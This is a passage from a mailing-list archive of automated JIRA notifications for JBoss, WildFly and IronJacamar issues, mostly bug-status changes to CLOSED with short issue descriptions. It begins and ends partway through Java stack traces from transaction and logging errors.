> 11:21:01,464 ERROR [stderr] (RequestProcessor-5)     at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615)
> 11:21:01,464 ERROR [stderr] (RequestProcessor-5)     at java.lang.Thread.run(Thread.java:722)
> 11:21:01,464 ERROR [stderr] (RequestProcessor-5)     at org.jboss.threads.JBossThread.run(JBossThread.java:122)
> 11:21:01,464 ERROR [stderr] (RequestProcessor-5)     at ...asynchronous invocation...(Unknown Source)
> 11:21:01,465 ERROR [stderr] (RequestProcessor-5)     at org.jboss.ejb.client.remoting.InvocationExceptionResponseHandler$MethodInvocationExceptionResultProducer.getResult(InvocationExceptionResponseHandler.java:99)
> 11:21:01,465 ERROR [stderr] (RequestProcessor-5)     at org.jboss.ejb.client.remoting.RemotingConnectionEJBReceiver.sendCommit(RemotingConnectionEJBReceiver.java:327)
> 11:21:01,465 ERROR [stderr] (RequestProcessor-5)     at org.jboss.ejb.client.EJBClientManagedTransactionContext$ResourceImpl.commit(EJBClientManagedTransactionContext.java:239)
> 11:21:01,465 ERROR [stderr] (RequestProcessor-5)     at com.arjuna.ats.internal.jta.resources.jts.orbspecific.XAResourceRecord.commit(XAResourceRecord.java:455)
> 11:21:01,465 ERROR [stderr] (RequestProcessor-5)     at com.arjuna.ArjunaOTS.OTSAbstractRecordPOA._invoke(OTSAbstractRecordPOA.java:201)
> 11:21:01,466 ERROR [stderr] (RequestProcessor-5)     at org.jacorb.poa.RequestProcessor.invokeOperation(RequestProcessor.java:306)
> 11:21:01,466 ERROR [stderr] (RequestProcessor-5)     at org.jacorb.poa.RequestProcessor.process(RequestProcessor.java:626)
> 11:21:01,466 ERROR [stderr] (RequestProcessor-5)     at org.jacorb.poa.RequestProcessor.run(RequestProcessor.java:769)
> 11:21:01,467 WARN  [com.arjuna.ats.jtax] (RequestProcessor-5) ARJUNA024023: XAResourceRecord.commit caused an XA error: XAException.XAER_PROTO from resource ResourceImpl{transactionKey=0:ffffc0a80164:316a9a9d:5196046f:1a, ejbClientContext=org.jboss.ejb.client.EJBClientContext at 216695c0, nodeName='master:app-oneB', state=null} in transaction < 131072, 30, 36, 0000000000-1-1-64-88110049106-102-9981-1064111000264849, 303030303030303030302929-34-583113079136-72-69111-7634141303030567879303030303030 >: javax.transaction.xa.XAException
>     at com.arjuna.ats.internal.jta.transaction.jts.jca.XATerminatorImple.recover(XATerminatorImple.java:238) [jbossjts-jacorb-4.17.4.Final-redhat-2.jar:4.17.4.Final-redhat-2]
>     at org.jboss.as.ejb3.remote.protocol.versionone.XidTransactionManagementTask.tryRecoveryForImportedTransaction(XidTransactionManagementTask.java:109)
>     at org.jboss.as.ejb3.remote.protocol.versionone.XidTransactionCommitTask.manageTransaction(XidTransactionCommitTask.java:62)
>     at org.jboss.as.ejb3.remote.protocol.versionone.XidTransactionManagementTask.run(XidTransactionManagementTask.java:68)
>     at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:471) [rt.jar:1.7.0_21]
>     at java.util.concurrent.FutureTask$Sync.innerRun(FutureTask.java:334) [rt.jar:1.7.0_21]
>     at java.util.concurrent.FutureTask.run(FutureTask.java:166) [rt.jar:1.7.0_21]
>     at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_21]
>     at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_21]
>     at java.lang.Thread.run(Thread.java:722) [rt.jar:1.7.0_21]
>     at org.jboss.threads.JBossThread.run(JBossThread.java:122)
>     at ...asynchronous invocation...(Unknown Source)
>     at org.jboss.ejb.client.remoting.InvocationExceptionResponseHandler$MethodInvocationExceptionResultProducer.getResult(InvocationExceptionResponseHandler.java:99)
>     at org.jboss.ejb.client.remoting.RemotingConnectionEJBReceiver.sendCommit(RemotingConnectionEJBReceiver.java:327)
>     at org.jboss.ejb.client.EJBClientManagedTransactionContext$ResourceImpl.commit(EJBClientManagedTransactionContext.java:239)
>     at com.arjuna.ats.internal.jta.resources.jts.orbspecific.XAResourceRecord.commit(XAResourceRecord.java:455) [jbossjts-jacorb-4.17.4.Final-redhat-2.jar:4.17.4.Final-redhat-2]
>     at com.arjuna.ArjunaOTS.OTSAbstractRecordPOA._invoke(OTSAbstractRecordPOA.java:201) [jbossjts-jacorb-4.17.4.Final-redhat-2.jar:4.17.4.Final-redhat-2]
>     at org.jacorb.poa.RequestProcessor.invokeOperation(RequestProcessor.java:306) [jacorb-2.3.2-redhat-4.jar:2.3.2-redhat-4]
>     at org.jacorb.poa.RequestProcessor.process(RequestProcessor.java:626) [jacorb-2.3.2-redhat-4.jar:2.3.2-redhat-4]
>     at org.jacorb.poa.RequestProcessor.run(RequestProcessor.java:769) [jacorb-2.3.2-redhat-4.jar:2.3.2-redhat-4]
> {noformat}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 16:29:08 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 16 Sep 2013 16:29:08 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBJCA-1053) ResourceAdapter instances
 not registered for inflow crash recovery
In-Reply-To: <JIRA.12495646.1372859622000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12495646.1372859622000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12495646.1372859622000.29004.1379363348486@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JBJCA-1053?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804816#comment-12804816 ] 

RH Bugzilla Integration commented on JBJCA-1053:
------------------------------------------------

mark yarborough <myarboro at redhat.com> changed the Status of [bug 980920|https://bugzilla.redhat.com/show_bug.cgi?id=980920] from VERIFIED to CLOSED
                
> ResourceAdapter instances not registered for inflow crash recovery
> ------------------------------------------------------------------
>
>                 Key: JBJCA-1053
>                 URL: https://issues.jboss.org/browse/JBJCA-1053
>             Project: IronJacamar
>          Issue Type: Bug
>          Components: Core
>    Affects Versions: 1.0.17.Final, 1.1.0.Beta5
>            Reporter: Jesper Pedersen
>            Assignee: Jesper Pedersen
>            Priority: Blocker
>             Fix For: 1.0.18.Final, 1.1.0.CR1
>
>
> We need to register the ResourceAdapter instances for inflow crash recovery, since we can't depend on users of ResourceAdapterRepository does it

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 16:29:08 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 16 Sep 2013 16:29:08 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-256) Remove direct connections
	parameter
In-Reply-To: <JIRA.12489803.1366279349000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12489803.1366279349000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12489803.1366279349000.29008.1379363348639@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-256?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804817#comment-12804817 ] 

RH Bugzilla Integration commented on WFLY-256:
----------------------------------------------

mark yarborough <myarboro at redhat.com> changed the Status of [bug 908720|https://bugzilla.redhat.com/show_bug.cgi?id=908720] from VERIFIED to CLOSED
                
> Remove direct connections parameter
> -----------------------------------
>
>                 Key: WFLY-256
>                 URL: https://issues.jboss.org/browse/WFLY-256
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Web Console
>            Reporter: Bartosz Baranowski
>            Assignee: Bartosz Baranowski
>            Priority: Minor
>              Labels: console_1.5.3, merged
>             Fix For: 8.0.0.Alpha2
>
>
> The direct connection parameter makes no sense. Currently console allows to create cluster connection only with broadcast group( which, if present, renders direct connection mute)
> One could define cluster connection like that(to have static connectors), but from console POV, there is no way to tell the difference. Hence this parameter makes no sense.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 16:29:09 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 16 Sep 2013 16:29:09 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-598) Alternative JDKs for building
 and running - OpenJDK 6, 7, Sun JDK 7, IcedTea
In-Reply-To: <JIRA.12449849.1319065751000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12449849.1319065751000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12449849.1319065751000.29018.1379363349443@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-598?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804819#comment-12804819 ] 

RH Bugzilla Integration commented on WFLY-598:
----------------------------------------------

mark yarborough <myarboro at redhat.com> changed the Status of [bug 899644|https://bugzilla.redhat.com/show_bug.cgi?id=899644] from VERIFIED to CLOSED
                
> Alternative JDKs for building and running - OpenJDK 6, 7, Sun JDK 7, IcedTea
> ----------------------------------------------------------------------------
>
>                 Key: WFLY-598
>                 URL: https://issues.jboss.org/browse/WFLY-598
>             Project: WildFly
>          Issue Type: Sub-task
>            Reporter: Ondrej Zizka
>            Assignee: Ondrej Zizka
>              Labels: eap6_prd_req
>
> James Perkins:
> {quote}
> At one point there was a JIRA for OpenJDK 6, in fact I think a couple. The issue with OpenJDK 6 is in the build we use some JavaScript and OpenJDK 6 doesn't come with a JavaScript engine. I tried a couple things to get Rhino working with it as that's what the Sun JDK uses, but I think it needs to implement an SPI to get it to work. I didn't look into it much beyond that.
> JDK 7 is a different issue. It's a bug in the annotation processing API which the JBoss Logging Tooling uses. I just refreshed my OpenJDK 7 update source and it looks like the bug is fixed in there. It's fixed in IcedTea as well. There could be the JavaScript issue here as well I can't actually remember, but I thought I had some successful builds with custom JDK's I compiled.
> I did just try with IcedTea 7 and got some other errors. I'm building the latest upstream of OpenJDK 7 now and we'll see if it works. I'll let you know either way.
> Let me know if you have any more questions on this. I did dig into a while ago a little.
> {quote}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 16:29:09 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 16 Sep 2013 16:29:09 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1560)
 PartialObjectActivationJarTestCase fails if ran after any of
 InflowFlatTestCase or TwoModulesOfDifferentTypeTestCase
In-Reply-To: <JIRA.12494623.1371643659000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12494623.1371643659000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12494623.1371643659000.29022.1379363349663@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1560?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804820#comment-12804820 ] 

RH Bugzilla Integration commented on WFLY-1560:
-----------------------------------------------

mark yarborough <myarboro at redhat.com> changed the Status of [bug 985003|https://bugzilla.redhat.com/show_bug.cgi?id=985003] from VERIFIED to CLOSED
                
> PartialObjectActivationJarTestCase fails if ran after any of InflowFlatTestCase or TwoModulesOfDifferentTypeTestCase
> --------------------------------------------------------------------------------------------------------------------
>
>                 Key: WFLY-1560
>                 URL: https://issues.jboss.org/browse/WFLY-1560
>             Project: WildFly
>          Issue Type: Bug
>          Components: Test Suite
>    Affects Versions: 8.0.0.Alpha1
>            Reporter: Ivo Studensky
>            Assignee: Ivo Studensky
>         Attachments: server_log_snippet.txt
>
>
> PartialObjectActivationJarTestCase fails if it runs after InflowFlatTestCase.  It seems that the {{inflow2}} resource adapter is not fully unregistered by InflowFlatTestCase before PartialObjectActivationJarTestCase begins to start its own RA.
> Here is the server log snippet (DEBUG level):
> http://pastebin.test.redhat.com/147968
> Line 10 of this snippet corresponds to the invocation of {{setConfiguration("basic.xml");}} in PartialObjectActivationJarTestCase. Then, the server is apparently trying to activate {{MultipleConnectionFactory2Impl}} and {{MultipleAdminObject2Impl}} even though these are not involved in {{basic.xml}} of PartialObjectActivationJarTestCase at all. A suspicious exception is on line 19 there. 
> I tried to put some delay between {{remove(address);}} and {{removeModule(defaultPath);}} in {{AbstractModuleDeploymentTestCaseSetup#tearDown()}} but it did not help. I also tried to put {{@Ignore}} to both test methods in the InflowFlatTestCase which also did not help, so it is evidently related only to the RA deployment/undeployment.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 16:29:10 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 16 Sep 2013 16:29:10 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-512) Update build to target JDK 7
In-Reply-To: <JIRA.12485284.1361381108000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12485284.1361381108000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12485284.1361381108000.29034.1379363350244@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-512?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804825#comment-12804825 ] 

RH Bugzilla Integration commented on WFLY-512:
----------------------------------------------

mark yarborough <myarboro at redhat.com> changed the Status of [bug 967794|https://bugzilla.redhat.com/show_bug.cgi?id=967794] from VERIFIED to CLOSED
                
> Update build to target JDK 7
> ----------------------------
>
>                 Key: WFLY-512
>                 URL: https://issues.jboss.org/browse/WFLY-512
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Build System
>            Reporter: David Lloyd
>            Assignee: Tomaz Cerar
>             Fix For: 8.0.0.Alpha1
>
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 16:31:07 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 16 Sep 2013 16:31:07 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1500) File attribute always
 replaces the file even if the values are equal
In-Reply-To: <JIRA.12494064.1370987019000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12494064.1370987019000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12494064.1370987019000.29052.1379363467145@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1500?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804833#comment-12804833 ] 

RH Bugzilla Integration commented on WFLY-1500:
-----------------------------------------------

mark yarborough <myarboro at redhat.com> changed the Status of [bug 973450|https://bugzilla.redhat.com/show_bug.cgi?id=973450] from VERIFIED to CLOSED
                
> File attribute always replaces the file even if the values are equal
> --------------------------------------------------------------------
>
>                 Key: WFLY-1500
>                 URL: https://issues.jboss.org/browse/WFLY-1500
>             Project: WildFly
>          Issue Type: Bug
>          Components: Logging
>            Reporter: James Perkins
>            Assignee: James Perkins
>             Fix For: 8.0.0.Alpha2
>
>
> The value for the {{FILE}} attribute for file log handlers isn't properly checked when comparing bootstrap file value. With a file that is not appendable, the overwrite would overwrite bootstrapped logged data.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 16:31:07 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 16 Sep 2013 16:31:07 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-52) Locally transmitted context
 data is not received
In-Reply-To: <JIRA.12482867.1358525147000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12482867.1358525147000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12482867.1358525147000.29059.1379363467476@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-52?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804834#comment-12804834 ] 

RH Bugzilla Integration commented on WFLY-52:
---------------------------------------------

mark yarborough <myarboro at redhat.com> changed the Status of [bug 909804|https://bugzilla.redhat.com/show_bug.cgi?id=909804] from VERIFIED to CLOSED
                
> Locally transmitted context data is not received
> ------------------------------------------------
>
>                 Key: WFLY-52
>                 URL: https://issues.jboss.org/browse/WFLY-52
>             Project: WildFly
>          Issue Type: Bug
>          Components: EJB
>            Reporter: Wouter De Borger
>            Assignee: jaikiran pai
>              Labels: ejb
>             Fix For: 8.0.0.Alpha1
>
>
> ContextData attached to request is not transmitted when LocalEJBReceiver is used. 
> org.jboss.as.ejb3.remote.LocalEJBReceiver:177
> context.setContextData(new HashMap<String, Object>());
> see also https://issues.jboss.org/browse/AS7-5021

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 16:31:08 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 16 Sep 2013 16:31:08 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-920) Module Service Dependencies do
 not take transitive dependencies into account
In-Reply-To: <JIRA.12479429.1353275548000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12479429.1353275548000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12479429.1353275548000.29072.1379363468178@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-920?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804838#comment-12804838 ] 

RH Bugzilla Integration commented on WFLY-920:
----------------------------------------------

mark yarborough <myarboro at redhat.com> changed the Status of [bug 963298|https://bugzilla.redhat.com/show_bug.cgi?id=963298] from VERIFIED to CLOSED
                
> Module Service Dependencies do not take transitive dependencies into account
> ----------------------------------------------------------------------------
>
>                 Key: WFLY-920
>                 URL: https://issues.jboss.org/browse/WFLY-920
>             Project: WildFly
>          Issue Type: Bug
>          Components: Class Loading
>            Reporter: Stuart Douglas
>            Assignee: Stuart Douglas
>             Fix For: 8.0.0.Alpha1
>
>
> A ModuleLoadService has dependencies on all its dependent ModuleSpecServices, however this does not work if the ModuleSpecService has a dependency on another ModuleSpecService with export=true, as the module may attempt to load before transitive dependencies have been started.
> This has caused transient failures in EarClassPathTransitiveClosureTestCase.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 16:31:08 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 16 Sep 2013 16:31:08 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1311) Restore JCA tests that deploy
 duplicate test deployment
In-Reply-To: <JIRA.12491022.1367572703000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12491022.1367572703000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12491022.1367572703000.29085.1379363468771@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1311?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804843#comment-12804843 ] 

RH Bugzilla Integration commented on WFLY-1311:
-----------------------------------------------

mark yarborough <myarboro at redhat.com> changed the Status of [bug 975829|https://bugzilla.redhat.com/show_bug.cgi?id=975829] from VERIFIED to CLOSED
                
> Restore JCA tests that deploy duplicate test deployment
> -------------------------------------------------------
>
>                 Key: WFLY-1311
>                 URL: https://issues.jboss.org/browse/WFLY-1311
>             Project: WildFly
>          Issue Type: Task
>          Components: JCA
>            Reporter: Thomas Diesler
>            Assignee: Vladimir Rastseluev
>             Fix For: 8.0.0.Alpha1
>
>
> There are a number of JCA tests that [have been disabled|https://github.com/wildfly/wildfly/commit/a22ea284c7a7761e4626e165cd79359ed3a9f62a] because they deploy a duplicate multiple.jar

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 16:31:08 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 16 Sep 2013 16:31:08 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1455) Management web application
 does not show property values with placeholders
In-Reply-To: <JIRA.12493617.1370422596000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12493617.1370422596000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12493617.1370422596000.29088.1379363468893@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1455?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804844#comment-12804844 ] 

RH Bugzilla Integration commented on WFLY-1455:
-----------------------------------------------

mark yarborough <myarboro at redhat.com> changed the Status of [bug 969368|https://bugzilla.redhat.com/show_bug.cgi?id=969368] from VERIFIED to CLOSED
                
>  Management web application does not show property values with placeholders
> ---------------------------------------------------------------------------
>
>                 Key: WFLY-1455
>                 URL: https://issues.jboss.org/browse/WFLY-1455
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Web Console
>            Reporter: Heiko Braun
>            Assignee: Heiko Braun
>              Labels: console_1.5.3, merged
>             Fix For: 8.0.0.Alpha4
>
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 16:31:09 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 16 Sep 2013 16:31:09 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-336) Wrong value of "runtime-name"
 property for unmanaged deployments
In-Reply-To: <JIRA.12484829.1360759429000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12484829.1360759429000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12484829.1360759429000.29092.1379363469126@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-336?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804849#comment-12804849 ] 

RH Bugzilla Integration commented on WFLY-336:
----------------------------------------------

mark yarborough <myarboro at redhat.com> changed the Status of [bug 910675|https://bugzilla.redhat.com/show_bug.cgi?id=910675] from VERIFIED to CLOSED
                
> Wrong value of "runtime-name" property  for unmanaged deployments
> -----------------------------------------------------------------
>
>                 Key: WFLY-336
>                 URL: https://issues.jboss.org/browse/WFLY-336
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Web Console
>            Reporter: Heiko Braun
>            Assignee: Heiko Braun
>              Labels: console_1.5.2, console_1.5.3, merged
>             Fix For: 8.0.0.Alpha2
>
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 16:31:09 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 16 Sep 2013 16:31:09 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1671)
 org.apache.commons.configuration missing dependency on
 org.apache.commons.beanutils
In-Reply-To: <JIRA.12496156.1373501865000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12496156.1373501865000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12496156.1373501865000.29101.1379363469518@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1671?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804851#comment-12804851 ] 

RH Bugzilla Integration commented on WFLY-1671:
-----------------------------------------------

mark yarborough <myarboro at redhat.com> changed the Status of [bug 983322|https://bugzilla.redhat.com/show_bug.cgi?id=983322] from VERIFIED to CLOSED
                
> org.apache.commons.configuration missing dependency on org.apache.commons.beanutils
> -----------------------------------------------------------------------------------
>
>                 Key: WFLY-1671
>                 URL: https://issues.jboss.org/browse/WFLY-1671
>             Project: WildFly
>          Issue Type: Bug
>          Components: Build System
>    Affects Versions: 8.0.0.Alpha2
>            Reporter: James Livingston
>            Assignee: Paul Gier
>
> Apache commons configuration uses commons bean-utils in a few places, but the module.xml does not declare a dependency on it.
> The POM (http://search.maven.org/#artifactdetails|commons-configuration|commons-configuration|1.6|jar) also suggests that digesters is also a dependency, but I haven't seen any issues from that being missing.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 16:31:10 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 16 Sep 2013 16:31:10 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1403)
 RolloutPlanTestCase#testMaxFailServersPercentageRolloutPlan incorrectly
 refers to a rollout plan from different test method
In-Reply-To: <JIRA.12492928.1369743954000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12492928.1369743954000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12492928.1369743954000.29114.1379363470292@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1403?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804857#comment-12804857 ] 

RH Bugzilla Integration commented on WFLY-1403:
-----------------------------------------------

mark yarborough <myarboro at redhat.com> changed the Status of [bug 969381|https://bugzilla.redhat.com/show_bug.cgi?id=969381] from VERIFIED to CLOSED
                
> RolloutPlanTestCase#testMaxFailServersPercentageRolloutPlan incorrectly refers to a rollout plan from different test method
> ---------------------------------------------------------------------------------------------------------------------------
>
>                 Key: WFLY-1403
>                 URL: https://issues.jboss.org/browse/WFLY-1403
>             Project: WildFly
>          Issue Type: Bug
>          Components: Test Suite
>    Affects Versions: 8.0.0.Alpha1
>            Reporter: Ivo Studensky
>            Assignee: Ivo Studensky
>             Fix For: 8.0.0.Alpha2
>
>
> The RolloutPlanTestCase#testMaxFailServersPercentageRolloutPlan in the domain mode testsuite contains a bug as it refers to 'maxFailOnePlan' plan instead of 'maxFailPercPlan'. Hence, if the test methods are not run in alphabetical order they will fail due to this bug.
> This has been somewhat fixed by adding an explicit ordering of test methods in that class, but this is a workaround rather than a fix.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 16:31:10 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 16 Sep 2013 16:31:10 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1503) Unable to remove custom
	logging handler
In-Reply-To: <JIRA.12494078.1371023081000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12494078.1371023081000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12494078.1371023081000.29118.1379363470511@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1503?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804858#comment-12804858 ] 

RH Bugzilla Integration commented on WFLY-1503:
-----------------------------------------------

mark yarborough <myarboro at redhat.com> changed the Status of [bug 975085|https://bugzilla.redhat.com/show_bug.cgi?id=975085] from VERIFIED to CLOSED
                
> Unable to remove custom logging handler
> ---------------------------------------
>
>                 Key: WFLY-1503
>                 URL: https://issues.jboss.org/browse/WFLY-1503
>             Project: WildFly
>          Issue Type: Bug
>          Components: Logging
>    Affects Versions: 8.0.0.Alpha1
>            Reporter: Carlo de Wolf
>            Assignee: James Perkins
>            Priority: Blocker
>
> During removal of the custom handler in {{Log4jCustomHandlerTestCase}} the following error is shown:
> {noformat}
> 09:38:24,266 ERROR [org.jboss.as.controller.management-operation] (management-handler-thread - 4) JBAS014612: Operation ("remove") failed - address: ([
>     ("subsystem" => "logging"),
>     ("custom-handler" => "customFileAppender")
> ]): java.lang.IllegalArgumentException: No reference found for 'org.jboss.as.logging.logmanager.Log4jAppenderHandler'
> 	at org.jboss.logmanager.config.AbstractPropertyConfiguration$5.validate(AbstractPropertyConfiguration.java:399) [jboss-logmanager-1.4.1.Final.jar:1.4.1.Final]
> 	at org.jboss.logmanager.config.AbstractPropertyConfiguration$5.validate(AbstractPropertyConfiguration.java:391) [jboss-logmanager-1.4.1.Final.jar:1.4.1.Final]
> 	at org.jboss.logmanager.config.LogContextConfigurationImpl.doPrepare(LogContextConfigurationImpl.java:333) [jboss-logmanager-1.4.1.Final.jar:1.4.1.Final]
